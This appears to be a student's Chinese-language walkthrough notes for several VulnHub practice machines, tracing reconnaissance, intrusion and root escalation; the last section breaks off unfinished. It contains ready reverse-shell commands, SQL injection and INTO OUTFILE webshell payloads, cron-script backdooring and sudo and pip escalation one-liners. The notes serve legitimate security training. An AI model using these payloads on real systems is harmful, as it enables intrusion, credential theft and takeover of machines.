vulnhub_new

一、D7

攻击机kali与靶机在同一网段下

1.信息收集

netdiscover -r 被动扫描

拿到ip,扫端口

nmap -P0 -p1-65535 192.168.1.49免ping扫描,扫端口

好,22和80端口

详细扫描

nmap -sT -sV -sC -O -p22,80 -Pn 192.168.1.49

可以看到中间件,网址,还有个别路径

访问url路径

标题有提示,这是一个CMS,可以去搜一下,先放着

f12扫一眼它的源代码,还有js

看它的网页功能,主要关注有搜索框和登录入口

登录可以创建账户,先创建一个

admin111/test/test123用户被用过,123456@qq.com被用过

test123qwe,进入,有填写基本信息,有上传图片功能

有一个报错

提示需要确认邮箱链接,我邮箱是随便填的啊,重新注册一个,用接码地址来

第二次注册的时候,提示说启用js,否则不给用

解决了后,进入我的账户

找找其它功能,上传点,或者测试越权

https://www.drupal.org/u/test123qwe

https://www.drupal.org/u/admin,是有越权的

可以只读他人的信息,没有其他信息

f12看一下图片的位置,有没有暴露路径

打开插件

用weevely生成一个木马,更名为1.png,上传的时候用bp改一下后缀

php5和大小写也不行,它这是纯后缀检测,它这也不是apache和iis,不然可以尝试解析漏洞,这里放过

等一下,既然是linux系统(前面nmap扫到),尝试下root用户呢?访问下 /u/root

它的posts有东西的

嘶,什么呀,看不懂啊

正式开始

啊啊啊啊啊啊啊!!!!!

我搞错了

直接访问ip,才是真正的靶机地址,好好好,这就是为什么做之前要改好hosts啊!

真正的靶机入口

登录页面

它右上角有登录窗口的,而且之前在nmap扫到了一些路径,现在可以试一试

1
2
3
4
5
6
7
http://192.168.1.49/user/register/ 403了
http://192.168.1.49/admin/ 403了
http://192.168.1.49/index.php/admin/ 403了

抓了包,也没什么用
http://192.168.1.49/web.config 可以访问
http://192.168.1.49/README.txt 可访问

重置密码的话,会发到邮箱里去,这个可以确认账号admin/DC7USER,但是bp改不了邮箱

搜索框呢,也没有注入点

嘶,出在哪里?

源码泄露

看了wp,我真的裂开了

搜一下 @DC7USER,出现一个github链接,点进去看,有一个仓库,里面是源码

来到一个config.php文件,得到mysql的账号和密码,连接

MdR3xOgB7#dW

后台登录不行

那就ssh连接了

ssh dc7user@192.168.1.49

gpg是加密的文件,算了

看看 cat mbox

这个脚本文件什么

查看sh内容

这啥啊

这里gpg的加密密钥是有的

drush有些东西

drush部分命令

那我去修改admin的密码

drush修改密码

去网站登录

啊,超过五次被锁了

取消这个锁定or新建一个管理员

再试一次,进来了

网站管理页面,admin是个管理员,查找一下文件上传的地方,有一个图片上传的,但是不行,就算上传了图片码也解析不了啊

哦,不对啊,我不是已经ssh连接到了嘛,那就不用网页了

尝试提权

我现在的目的是提权了

sudo -l 没有

find命令找suid文件

2>/dev/null不显示其他的错误信息相当于过滤

常用的SUID提权命令(\nmap、vim、find、bash、more、less、nano、cp\ 等

/usr/sbin/exim4是什么

这属于一个利用第三方应用提权

exim4版本为4.89

选了这个

1
2
3
4
find / -name 46996.sh
/usr/share/exploitdb/exploits/linux/local/46996.sh
//传到目标机
scp /usr/share/exploitdb/exploits/linux/local/46996.sh dc7user@192.168.1.49:/var/tmp

确实无效

web反弹

回到浏览器,这里有拓展,如果能找到解析语言的拓展就可以了,去到官网drupal.com搜索php,是有的,把名字复制过来就行

根据提示,替换下名字即可

将php启用,并添加content,这样就会多一个php的解释器

kali这里监听一下

然后浏览器去访问一下123456这个页面,有点慢,等个几分钟

监听到用户

哦,不用,直接输入即可。。。。

输入命令

这两个uid关系?

然后嘞,将nc命令写入backups.sh文件

1
echo "nc 192.168.1.109 12345 -e /bin/bash" >> /opt/scripts/backups.sh 

然后这边监听端口

监听

进入root,找flag文件

总结

这本质是一个源码泄露+反弹

一开始进入浏览器呢,通过访问路径,弱口令,万能密码、抓包等无果,注意到左下角的用户信息@DC7USER

谷歌一下,找到了github,看到源码,泄露了账号和密码

尝试后台登录不行,那就尝试ssh连接

这个时候有两个文件,一个加密的不管,另一个mbox文件,查看一下,其实是一个定时任务,它会以root身份执行backups.sh文件;且有一个drush

这个先放着不管,尝试sudo -l本地提权,没有

尝试找suid文件,有一个第三方的,exp利用无果,也是我不会搞啊

然后还是要回到后台登录,drush命令可以修改密码,当确认了admin用户后,修改它的密码,后台就可以登录进去。

尝试找突破点,有一个图片上传的,但是不能解析图片码

去content内容查看,可以编辑一些文章,但是要想解析木马的话,就去安装一个php拓展,然后写入php code,这里写的是nc反弹的,发布后,访问,kali再监听就可以了。这样得到的是www-data的shell

然后这里其实有个点,为什么要这样做?

当ssh连接到dc7user的shell的时候,那个backups.sh的权限

除了root,www-data用户也是有读权限的

所以我们要得到该用户的终端,将nc命令写入到 定时任务中,root用户会执行的backups.sh脚本中,这样kali就可以监听到root的终端,也就拿到了root的身份了

shell区别:

webshell和ssh登录的shell区别:

webshell的用户是低权限的,ssh登录的用户相对来说权限更高,而且通常提供更丰富的功能和交互性

二、tiki

一开始扫不到ip,靶机改成桥接模式就好了

1.信息收集

1
netdiscover -r

image-20231117180706264

nmap -sT -sV -sC -O -p22,80,139,445 192.168.1.213

这139和445让我想到了永恒之蓝啊,还有IPC$渗透

先看80端口

/robots.txt,暴露了一个/tiki/

这还是个CMS

右上角有登录的,不知道,忘记密码去看一看,账号root/tiki/test都没有,admin会爆红,联系管理员,说明应该有admin

页面的2,3步都需要权限

尝试抓包看看也没用

看一下错误信息,搜索一下

that is needed to use this feature: tiki_p_admin

有显示说CVE-2020-15906认证绕过漏洞

管理员账户被爆破60次以上时将被锁定,此时使用空白密码即可以管理员身份登录后台

使用范围:16.x - 21.1

先把密码随便爆破60次,再将密码置空登录

image-20231118093620924

进入成功

有一个文件上传处,貌似php文件只能下载,不能访问,也找不到路径位置,所以可能连不上

找到了一个创建页面处,编辑器里有个code,想要写个php代码貌似不支持

在list page里找到了admin写的page,内容为

Agy8Y7SPJNXQzqA

2.登录shell

ssh连接后

框框处提醒我了,提权啊

sudo -l

哇,这权限很大啊

3.提权

sudo find提权

1
sudo find /home -exec /bin/bash \; #find提权

image-20231118114927987

sudo sed提权

1
sudo sed -n '1e exec sh 1>&0' /etc/passwd

sudo ed提权

sudo ed

sudo bash

sudo perl

1
sudo perl -e 'exec "/bin/bash";'

sudo less

1
2
sudo less /etc/hosts
!bash

sudo vi

1
2
sudo vi
:!bash

sudo env

1
sudo env /bin/bash

总结

这本质是个信息泄露+sudo提权

找找robots.txt,找到主页面,然后搜索这个cms漏洞,要么用现成脚本,要么根据描述去尝试手工完成,新手题

但是我很好奇这个源码部分,为什么爆破60次可以空密码绕过呢

三、DERPNSTINK: 1

1.信息收集

netdiscover,ip为179

1
2
nmap -Pn -p1-65535 192.168.1.179
nmap -sT -sV -sC -O -Pn -p21,22,80 192.168.1.179

nmap详细信息

直接访问ip,半天不加载出来

通过robots.txt知道,两个路径

1
2
/php/ #403
/temporary/ #显示 try harder

路径爆破吧

爆破了很多/php/为主目录,/weblog为主目录等

CMS是wordpress 4.6.27

先访问个路径为

1
http://192.168.1.179/weblog/xmlrpc.php

提示说只接收post请求,那就bp或者hackbar,发个post请求

emmm,提示faultCode,假代码

有phpmyadmin,弱口令来一个

1
2
账号:root 密码:空 #禁用空密码
万能密码:'localhost'@'@" #无用

换个链接

提示找不到服务器了

hosts添加一下

2.进入后台

在忘记密码那里试出来了,admin用户存在

尝试了一下,admin弱口令,居然进去了

文件上传的地方,可以改后缀名绕过

然后kali的weevely进行连接,成功

尝试提权

sudo -l 没有

找找sbin的

这些都是设置了s位的可执行文件,

计划任务呢?

/etc/crontab,没发现有可写权限的文件

如果有,将nc -e写进去,监听到root的shell

/home,查看用户,有两个但没权限访问

虽然没有root密码,su root被禁止了

难道只能内核提权了咩?

我至少得找到一个用户的shell诶

回到浏览器页面,这个管理员有点假诶

想办法找找phpadmin的密码

没用,找了半天

www-data@DeRPnStiNK:/var/www/html/weblog $ cat wp-config.php

好,找到了,去phpmyadmin登录

尝试一下,这会不会是可以ssh的东西呢?

wedgie57

看最后一个用户,尝试破解下

ssh登录,emmm,是个公钥登录方式,权限拒绝

emmm在浏览器执行下语句

SHOW GLOBAL VARIABLES LIKE 'secure%'

image-20231118170841804

那也不能mysql提权了

flag2

那还是把这个用户登录试试吧

然后呢,尝试重复密码,ssh不能登录,不是还有ftp嘛

上面在/home下,就看到了两个用户名,每个用户名尝试一波

ftp

key.txt应该是公钥,cat用不了嘞,less可以看,直接下载下来

好好好,我直接公钥登录

公钥ssh

要改下文件权限,为600

尝试提权

sudo -l没有

看sbin

这和那个webshell的有什么区别

计划任务也没有

flag3

好好好,还有pcap文件

emmm,我kali怎么看呢,scp下不来

1
scp  stinky@192.168.1.179:/home/stinky/Documents/derpissues.pcap /tmp

后面带 -o pubkey...不行

那我先将文件传到ftp,我从ftp下载

550 权限拒绝

算了,我scp在目标终端往攻击机去传吧

嘶

那怎么传?

在攻击机中

1
2
3
4
vim /etc/ssh/ssh_config

#添加
PubKeyAcceptedTypes +ssh-rsa

得到另一个用户的信息

wireshark不讲

derpderpderpderpderpderpderp

尝试提权

sudo -l,有的

这是个啥啊

这是个没有的路径啊

那就自己建

疑问

同样是ftp,怎么攻击机进入的ftp和用户shell进入的ftp,支持的命令不一样呢?

在用户shell下进入的几乎不能查看文件内容,而攻击机进入的起码有less

补充

1.漏掉的flag

flag1是在80端口页面中,源代码查看

2.文件传输

这里有一个更好的传输方法,用 nc

攻击机打开nc,接收文件,文件名可以自定义

1
nc -lvvp 999 > test1.pcap

攻击机接收文件

靶机终端发送文件

1
nc -nv 192.168.1.109 999 <der*

靶机发送文件

3.sudo提权

上面那个命令是指,在特定路径下,运行以derpy开头的文件时,会以root身份运行

总结

本质是一个后台弱口令+文件上传

  1. 扫端口,有21、22、80
  2. 从80端口入手,有个页面,查看插件,得到CMS等信息,尝试robots.txt,得到其它路径,可dirb尝试爆破路径,得到登录路径以及phpmyadmin路径
  3. 有登录的优先去登录的地方查看,比如wp-admin
  4. 弱口令尝试或者(利用CMS漏洞进去)
  5. 找到文件上传的地方,主要是暴露了文件的存储位置,bp改后缀绕过,上传木马,利用weevely连接
  6. 进入webshell,想办法提权,sudo提权/sbin提权/计划任务,无果
  7. 查看里面的各种文件信息,主要是配置config信息,果然找到了mysql的用户名密码
  8. 登录进去,查看用户表,有用户名和密码
  9. 爆破密码
  10. 登录进去,除了flag,没什么利用的点
  11. 对于phpmyadmin,去检查udf提权的可能性,确认是没有的
  12. 考虑 密码重用
  13. 因为在webshell中,cd进/home,看到两个用户
  14. ssh尝试用相同密码,ssh返回证明是密钥登陆的
  15. 想到还有ftp,尝试用ftp登录,尝试成功
  16. 得到密钥文件
  17. 尝试ssh -i 密钥文件登录,登录成功
  18. 获得用户shell,尝试提权,无果
  19. 但是有pcap文件,下载,分析后得到另一个用户信息
  20. ssh登录,尝试提权,利用sudo提权,得到root权限

它的流程就是:弱口令->webshell->mysql(给用户密码)->ftp(给密钥)->ssh(密钥登陆)->pcap文件分析->ssh(密码登录)->sudo提权->root

四、socnet

准备阶段

确认ip 23

1
nmap -Pn -p1-65535 192.168.1.23 #22

啊?好好好,就一个端口是吧

1
2
3
4
5
6
nmap -Pn -sS -sV -sC -p- 192.168.1.23 #22
#sS syn扫描,不用三次握手,隐蔽;-sC 脚本扫描

#好好好,来个大的,没扫到其他的就删了这个靶机!
nmap -sS -sV -sC -p- -Pn 192.168.56.254 #22
###我删了

百度了一下,建议使用virtualbox打开,啧

第一次导入给我报错,好好好;

卸载重装,解决了,应该是初始大小分配少了,但vmware的kali崩了,我***

这两个不同设备的机器能ping通吗,嘶

一、信息收集

应该是这个,有5000端口

1
nmap -sS -sV -O -p22,5000 192.168.1.182 

详细信息

访问ip

Testin 123,ssh一下,不是

搜索123,提示信息不够长,尖括号实体化了,抓包也没发现什么

先dirb扫个目录吧,就一个admin,代码测试页面

插件也发现不了什么CMS等信息,回到nmap给的Werkzeug,搜一下

Werkzeug是Python的WSGI规范的实用函数库。使用广泛,基于BSD协议。是个工具包,也可以作为web底层框架

难道说

执行了代码

我找找python反弹

1
'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.109",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

emmm,错误

搜到一个远程REC脚本

没用

回头又试了一下python代码,嘶,攻击机监听不到啊啊啊啊啊啊啊啊啊

不知道怎么捣鼓了一下,这边可以接收到请求了

输入命令不管用嘞,哦,把单引号去掉就可以,虽然网站会报错信息,但其实已经监听打了

webshell

啊?这就root啦?

root用户

但是切换到/root,目录发现是没东西的

而且在/app,ls时,有一个Dockerfile,内容为

ifconfig,这个ip有另一个,应该是内网的

内网ip

我找了些文件夹后才想到

既然如此,就利用该终端进行netdiscover呢?发现没有这个功能,nmap也没有,无法扫描其他网段

nc传输nmap-失败

nc失败了嘞

中间断开了一次,重新反弹还连不上了嘞

监听没有输出

哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊哎,难顶啊……

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.109",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")

可以了

那我攻击机开一个http服务器,靶机有wget,那去访问并下载就是了

下载失败嘞

考虑到现在还是root的,所以可能这个文件夹有权限,换个文件夹

ok,nice try

./nmap,不加x权限吧,权限拒绝;加了吧,找不到;真有你的啊

用不了nmap

换个方式吧

脚本扫描

for i in $(seq 1 10);do ping -c 1 172.17.0.$i;done

直接往终端输入回车即可

有其他两个ip是存在的,0.1和0.3

内网穿透

传输nmap又失败,直接内网穿透,使得外网用户可以访问内网用户

Venom工具:https://github.com/Dliv3/Venom/releases

服务器打开web

web

终端下载客户端

攻击机启动

靶机启动

对/etc/proxychains4.conf编辑

proxychains nmap扫描

不搞了,扫不到

这个先不做了,后面的流程是发现一个端口,找exp进入到shell,再uname -a,找到linux版本,也找一个exp,修改后,进行提权

总结

学到了内网穿透

扫端口5000->nc反弹->拿到webshell->/root没东西->ifconfig,是另一个网段->用了docker->因为该webshell无法自己扫描端口等->内网穿透->扫端口->漏洞利用->拿shell->提权

五、Empire-LupinOne

1.信息收集

1
2
3
ip为,101
nmap -Pn -sV -p- 192.168.1.101 #22,80
nmap -sS -Pn -sV -O -p22,80 192.168.1.101

nmap详细信息

访问ip

首页

没什么信息,dirb一下

robots.txt提供的一个路径是没用的

主要是以/manual开始的路径

貌似是Apache配置相关的文档

那就是说,不应该用ip访问,还是要用域名

emmm,搜一下 apache 2.4.48,没找到什么

但是回想过来 robots.txt那个玩意儿 ~myfiles,可以操作一下

1
2
3
dirb http://192.168.1.101/~ -t -r #-t 不在url末尾添加/,-r不递归
#发现了 ~secret,再基于此遍历
http://192.168.1.101/~secret/index.html

好,这里有一个隐藏的私钥文件;有一个作者名字为 icex64

github搜索这个名字,是有个这个用户,但内容好像不对;但这个可以作为ssh的用户名

它说的 这里,是哪里嘞,在这个页面下,貌似没有啊,bp抓包看看情况,没有

拼接 /ssh/.ssh也没用

那还是要爆破?common字典没用了,换个大的

看了wp才知道是 .mysecret.txt,这谁想得到

ssh连接

复制内容,chomod 600,ssh -i试一下,貌似错误了 error in libcrypto

这个确实有问题,真正的私钥文件会有开头和结束说明这是一个私钥文件,它没这些文本,可能是加密了

看了wp,居然是个base58编码的

ssh -i试一下

需要passphrase

搜索了一下解决办法:

1
2
3
ssh2john baji > hash 
#/usr/share/wordlists/ 有fasttrack,原来这是个字典的名字
john hash --w=/usr/share/wordlists/fasttrack.txt #114514P@55w0rd!11451421321

进入shell

sudo提权

sudo提权一下

就是说可以用python3.9,然后有一个脚本可以用,cat后

这个网址算了,一看就安全

看一下/home的用户

这个note.txt说,icex64可以访问arsene的程序,且它有一个私密文件

那我是否可以更改heist.py从而查看 .secret文件内容呢?我不知道

但是里面导入了一个webbrowser, 看看

代码引入了 os,而且可修改

在末尾顶格加入 os.system("/bin/bash"),执行下脚本

切换用户

得到密码

sudo提权

可以用root权限执行,且无需密码

pip我只知道是安装用的

这种执行不会是root

搜索一下pip提权

https://www.u72.net/IT/show-77783.html

1
2
3
TF=$(mktemp -d) 
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

这个(mktemp -d) ,是创建一个临时目录

总结

本质是路径爆破,对字典要求比较高+提权

80端口->路径爆破->目录名fuzz->私钥解码->passphrase破解->ssh登录->sudo提权->改写py文件->切换shell->pip提权

六、APT靶机的域渗透

这个要vip,我就看看b站视频,了解思路和知识点

后续不看了,这块知识薄弱

七、Tr0ll

1.信息收集

1
2
nmap -sS -Pn -p- 192.168.1.102 #21,22,80
nmap -sS -Pn -sV -sC -O -p21,22,80 192.168.1.102

/secret,dirb爆破一下,默认字典没什么特别的文件

那我加个后缀呢?txt和php,jpg也没什么,没结果

等一下,ftp是可以匿名登录的,而且暴露出了lol.pcap

火狐浏览器访问不了ftp

直接终端访问

wireshark分析

可以登录了

但是只有这一个文件

进入ftp

那这个txt文件怎么来的呢

sup3rs3cr3tdirlol有什么含义咩?

啧,然后呢?

看了wp,有几个小技巧

1
strings lol.pcap #提取pcap的字符串信息

这种非主流字,可能是leetspeak,翻译过来作为路径

不行,好吧,不用解码

路径拼接

下载该文件

有一个0x0856BF,这个有两个考虑,要么缓冲区溢出,要么还是路径拼接

1
2
http://192.168.1.102/sup3rs3cr3tdirlol/0x0856BF #无
http://192.168.1.102/0x0856BF/ #有

其中的文本文件内容,可能的用户号

对应密码

Good_job_:)

crackmapexec 工具爆破

1
2
crackmapexec ssh 192.168.1.102 -u which* -p Pass.txt --continue-on-success
#--continue-on-success 爆破成功会给出成功标志

后面5个连接失败

那把后面这5个换到前面去,再爆破一次

也是失败

后面四个总是连接失败,考虑做了爆破的针对性处理

但是尝试几次后,发现,这个密码是错误的

但文件夹名 /this_folder_contains_the_password/,说明密码就在这里

考虑密码是Pass.txt

再进行爆破

得到成功的ssh凭证

提权

ubuntu系统,可以用python弄个丰富的shell

1
python -c 'import pty;pty.spawn("/bin/bash")'

计划任务和sbin

找home用户里的.ssh信息、web信息

上面的backups没有,然后执行过程中,提示

自动断开,而且来自root,那肯定有一个自动化处理的脚本在这里,如果找到这个脚本,修改一下,可能就可以提权

通过查看计划日志,找到脚本

发现脚本

ls -la发现是有修改权限的,那尝试替换代码 为 os.system('/bin/bash')

还是断开了

尝试下面的代码,给一个sudo的权限

可以了

总结

本质是一个ftp匿名信息泄露+脚本修改提权

  1. 端口扫描21/22/80->
  2. nmap的详细信息发现ftp是可以匿名登录的,且有lol.pcap文件->
  3. 下载lol.pcap文件->
  4. wireshark工具或者strings命令去分析该文件->
  5. 得到一个leetspeak名,尝试拼接为路径名,可以获取到未知文件->
  6. file查看文件信息、strings获得文件字符串,得到一个地址名,尝试路径拼接->
  7. 得到用户名文件和密码文件->
  8. crackmapexec去爆破ssh,不成功->
  9. 根据密码文件夹名提示,将密码文件名作为密码,再次爆破,得到overflow凭证->
  10. 登录overflow shell->
  11. 本地提权无果、计划任务文件权限禁止、sbin文件查找、敏感文件查找无果->
  12. shell自动退出,推断有一个自动化脚本->
  13. 查找计划日志,发现脚本,修改脚本文件代码,写入sudoers文件,赋予sudo权限
  14. sudo -l提权,因为代码修改给的权限很大,直接bash -p提权,成功

八、NullByte

1
2
nmap -sS -Pn -p- 192.168.1.89 #80,111,777,38682
nmap -sS -Pn -p80,111,777,38682 -sV -sC -O 192.168.1.89

nmap详细信息

111端口, RPCBind 开放漏洞,这个一般用来ddos,而且对于src也不收了,用在这里没什么实质性信息收获,所以跳过

常见端口做了转发吧,先不管,进80端口

首页

网页源代码+f12没有敏感信息,dirb一波

有phpmyadmin,尝试万能密码 或者 root:mysql,不行

还有一个上传路径,但是提示说目录枚举在这里不允许,插件给的信息为

去抓个包呢?也没有注入的点

哦,那去phpmyadmin抓包看看,也没发现什么

Sphinx和CodeMirror搜了一下也没什么

好好好,我不会我不会我不会我不会我不会!!!!!!!!!!!

看了wp,这个图片gif有东西,牛的

将gif下载下来,strings命查看文本信息

kzMb5nVYJw

有了前车之鉴,我大胆推测这是个目录

页面是Key

看源代码为:

不是连mysql的,那就不存在注入,密码又不是很复杂

这里我不会,wp这样写的

我直接抄了

查看源代码

点文件,让输入行号,我输了一个7,变成了

先不管,输入ramses

尝试SQL注入,双引号报错的

tax to use near '%"' at line 1

1
2
3
4
5
6
7
8
9
10
11
12
13
ramses"--+  #有东西
#order by 尝试,可以,那就尝试联合注入了
ramses" order by 3--+ #列数为3
usrtosearch=ramses" union select 1,database(),user()--+ #对应的有seth、root@localhost
#那只能尝试爆破用户表
#爆表
ramses" union select 1,database(),(select group_concat('~',table_name) from information_schema.tables where table_schema=database())--+ #就一个users
#爆列
ramses" union select 1,database(),(select group_concat('~',column_name) from information_schema.columns where table_name='users')--+
# ~id,~user,~pass,~position
#爆字段
ramses" union select 1,database(),(select group_concat(user,'~',pass) from seth.users)--+
# ramses~YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE,isis~--not allowed--

john没爆破出来,md5也搜不到,这43个字符诶,可能要先base64解码

解密后是32位,感觉符合hash,john工具的话,它拿不准这个哈希类型

要么去在线网页去,可以破解出来

要用john的话,先用 hash-identifier识别类型,然后john指定类型

omega

端口拒绝

确实没有22端口,但是有777端口,也是ssh,指定端口-p 777

这个backup看看

不是脚本,是二进制文件

执行下

意思是说,这个文件会执行这三个命令,wp的想法就是将提权写入ps中

将两个文件进行软链接,这样不管是执行sh还是ps,都会进入shell

然后执行这个proc文件,要将当前路径加入到环境中,再执行

补充

因为端口扫到了rpc有关的,而和rpcbind有关的一个漏洞就是udp反弹的ddos

  1. 所以还要扫udp

    1
    2
    nmap -sU -p80,111,456 ip  #查看udp状态
    nmap --script=vuln -p80,111,456 ip#查看漏洞
  2. hydra

    密码爆破工具,这里用于http表单爆破手段

    1
    hydra 192.168.1.x http-form-post ...上面图片有,我不写了
  3. union select用法

    可以略过order by,直接union select 1;union select 1,2;直接添加字段即可

    这里注释符可以用 ;-- -,空格解析可以看出来

    1
    2
    #看所有的库,表
    " union select table_schema,table_name,3 from information_schema.tables;-- -
  4. 对于那个密码编码是base64

    那就是一个直觉,尝试一下

  5. 对shell的敏感信息查询,可以去看看.bash_history,查看命令执行记录

  6. 专门看图片的工具是 exiftool main.gif

    —————————————–!

    除了SQL注入得到表内容(手工或sqlmap),这里有其它的拓展

    小马写入数据库

    复盘的时候,up主是扫到了uploads这个文件夹,所以他有个新方法

    只要有这个文件夹,不管权限如何,大概率是允许上传的

    1
    " union select "<?php system($_GET['cmd']);?>","","" into outfile "/var/www/html/uploads/shell.php";-- -

    然后访问 uploads/shell.php?cmd=ls

    这样的话,完全可以去cat一下主要的php文件,可能得到phpmyadmin的账号和密码,进而直接查看到表的内容

    反弹shell

    1
    " union select "<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/攻击者ip/1234 0>&1'\");?>","","" into outfile "/var/www/html/uploads/shell.php";-- -

    然后攻击机终端去监听

    1
    nc -lvnp 1234

    拿到shell

总结

嘶,做这个感觉没意思了,真的,实战中给你这么搞,把信息写到一个main.gif里面?

以后这样的我不做了

本质上是个hydra+注入+提权的思路

  1. 端口扫描,有80找80
  2. 路径爆破无果,有phpmyadmin没凭证不行,从图片入手,exiftool分析图片
  3. 得到路径信息,访问后需要key,对http的表单用hydra进行爆破
  4. 有与数据库交互的点,想到sql注入,闭合判断,存在注入;
  5. 此时有三种方法:a.查询得到表内容(sqlmap);b.上传小马;c.反弹shell
  6. 对密码进行base64解码,再john破解
  7. 提权,sudo/sbin/,在sbin发现一个文件,软链接巴拉巴拉,提权

关于小马上传,这个还是依靠信息收集,我namp的时候就没扫出来uploads文件,这个还是得考虑全

关于into outfile这个为什么不先查前提条件(secure_file_priv的值不是NULL),这个东西,从实战思想看,一般从果找因

当然,这次提权方面不太懂,先接受这个设定吧,现在脑子转不过来了

九、Billu_b0x

1
2
3
nmap --min-rate 10000 -sS -p- 192.168.1.187  #22,80
nmap --min-rate 10000 -sS -p22,80 -sC -sV -O 192.168.1.187
nmap --script=vuln -p22,80 192.168.1.187,

输入账号密码

先万能密码,好的,不行

爆破目录

dirb一波,仅仅是用common字典,都是400

回到页面,发现也是400页面,好好好,但是我用hackerbar发个post请求,可以显示,好好好

将上面的路径post请求一下

1
http://192.168.1.187/add

上传文件

1
http://192.168.1.187/test

嘶,突然又400了,都400了,那个SQL页面也回不去了,6

重开一个浏览器,都可以访问了,不需要post,6

1
http://192.168.1.187/in

好好好,这样的话,看看敏感路径,用那个file去下载文件

发现webmaster

任意文件下载

file参数,要post提交

1
2
/etc/passwd可以下载到
上面的路径也都可以,但没什么有效信息

那没办法,就走文件上传的路吧,嘶,上传成功,但是不知道路径嘞

那我没招了啊

看了下wp,好好好,跟我搞这个

用test去下载 add.php、test.php、show.php等源码

1
file=/var/www/index.php

它把单引号替换为空了,而且还进行了解url编码处理

换个php文件看,

可以,c.php给了mysql的凭证image-20231125150749845

但是phpmyadmin在哪嘞

命令行连接也不现实,毕竟没有扫到3306端口,ssh也不行

用dirb的大字典扫一下,发现了一个 phpmy目录

这个应该是首页凭证了

文件上传

有两个功能,显示图片和上传图片

好,f12可知道图片路径

上传图片尝试后,发现代码会对内容检测,哦,我不是有代码吗

嘶,单纯改后缀那些方法确实不行,图片码的话,算了,没有.htaccess

回到phpmyadmin

SHOW VARIABLES LIKE '%secure%',那就不能写文件了

怎么办?扫了一些文件,没看出什么

那还是回到图片上传

上传一个正常图片,但是里面内容用burpsuite添加一个一句话木马

<?php system($_GET['cmd']);?>

访问图片地址,什么意思,bp抓不到,直接cmd=也没有

那就当点击show那一块的按钮时,抓个包,更改一下包

反弹shell

既然这样的话,构建一个bash反弹

bash -i >& /dev/tcp/192.168.1.109/1234 0>&1

下面这个才可以

echo "bash -i >& /dev/tcp/192.168.1.109/1234 0>&1" | bash

里面找了找,在phpmy下,有一个配置文件

ssh连接进去

是root用户啊,但是flag.txt没有,ifconfig也没其它网段

但是它有三个ipv6

为什么不全局找一下呢

这里面每个flags的内容都很短,估计是拼接起来的,不搞了,反正获得了root的终端,没了

补充

1.对于已知index.php的源代码那一块

可以用万能密码 ' or 1=1 -- \,也是可以进去的

2.对于文件包含那一块,可以命令行

1
curl -X POST --data "file=./index.php" http://192.168.1.187/test #可以得到源码

它有一些常规的名字,index.php、show.php,都可以尝试一下,试试又不吃亏

3.当上传了一句话,去单独访问图片所在链接抓不了包时,首先想到panel.php,因为这个页面包含了所有图片的信息,去刷新抓包,发现post有个load参数,尝试文件包含

4.这个反弹shell语句不定,可以去php反弹shell大全搜索,随便用一个,将空格用加号替换即可

5.在获取到webshell的时候,不通过配置文件获得信息也是可以的,

uname -a得到的是内核信息,可以采取内核提权

总结

本质是一个目录爆破+任意文件下载+代码审计+敏感信息泄露

  1. 字典尽可能用大一点的,爆破后有一个test路径,有提示接收file参数
  2. 大胆猜测,这是个输入路径就可以下载文件的页面,get没用,post请求,除了bp等工具,也可以用 curl -X POST --data
  3. 这时候再大胆猜测,将爆破的那些路径,加个后缀php,期望得到源码,结果是可以的
  4. 在index.php发现了对输入的过滤格式,可以针对性绕过;也可以在c.php直接找到mysql的凭证
  5. 如果字典没有爆出phpmyadmin的真实文件夹,就用不了,所以可以根据步骤4,直接绕过进入panel.php;当然如果爆破出来了,就可以找到真实的凭证直接进去panel.php
  6. 一句话木马上传,发现直接访问图片路径不可以触发bp拦截或者一句话木马
  7. 想到panel.php是可以显示所有图片的,猜测它是有可以访问指定图片的权利,抓包验证得到,load参数可以指定图片
  8. 接下来用一句话木马 反弹shell,得到webshell
  9. 敏感文件信息直接ssh root,或者内核提权

十、jarbas

1
2
3
sudo nmap --min-rate 10000 -sT -Pn -p- 192.168.1.163
sudo nmap -sT -sV -sC -O -p22,80,3306,8080 192.168.1.163
sudo nmap --script=vuln -p80,3306,8080,22 192.168.1.163

image-20231126125049752

访问80端口

image-20231126122853671

好好好,看不懂,对于输入框输入后,点击,Not Found,换8080端口

这是个后台管理页面

image-20231126121624866

Jenkins ver. 2.113,那考虑是cms

先dirb一波,嘶,没什么东西,加后缀html、php,也没什么,登录抓个包

不知道,这个端口有robots.txt,看看,没什么有用的信息

那还是回到80端口,打开bp,到处点点点

查看历史http,发现很多点不开的都是另一个199开头的ip,而192开头的,能点的都404了

啊,那我没办法了

换字典!!!!!!!!!!!!!!

哦,我加后缀弄错了,没有加.

dirb http://192.168.1.163 -X ,.html,.php ,得到一个access.html

hash-identifier 识别一下类型,然后john破解

1
john -w=/usr/share/john/rockyou.txt /tmp/test.txt --format=Raw-MD5  #italia99 、marianna、vipsu

都不是ssh的,那考虑mysql

mysql-h 主机ip地址-uroot -p show databases

那8080端口呢,也失败了

考虑 密码复用

1
crackmapexec ssh 192.168.1.163 -u /tmp/user.txt -p /tmp/passwd.txt --continue-on-success

没用

啧,忘了那个8080的登录了,尝试eder和vipsu可以登录

看了一会儿可以建立build之类的项目,可以执行shell诶

攻击机监听,然后web上执行这个build

提权

1
2
3
4
5
6
uname -a
sudo -l
find / -perm -u=s
#无果
#查看计划任务
cat /etc/contab

5分钟执行一次

它这个是删除日志

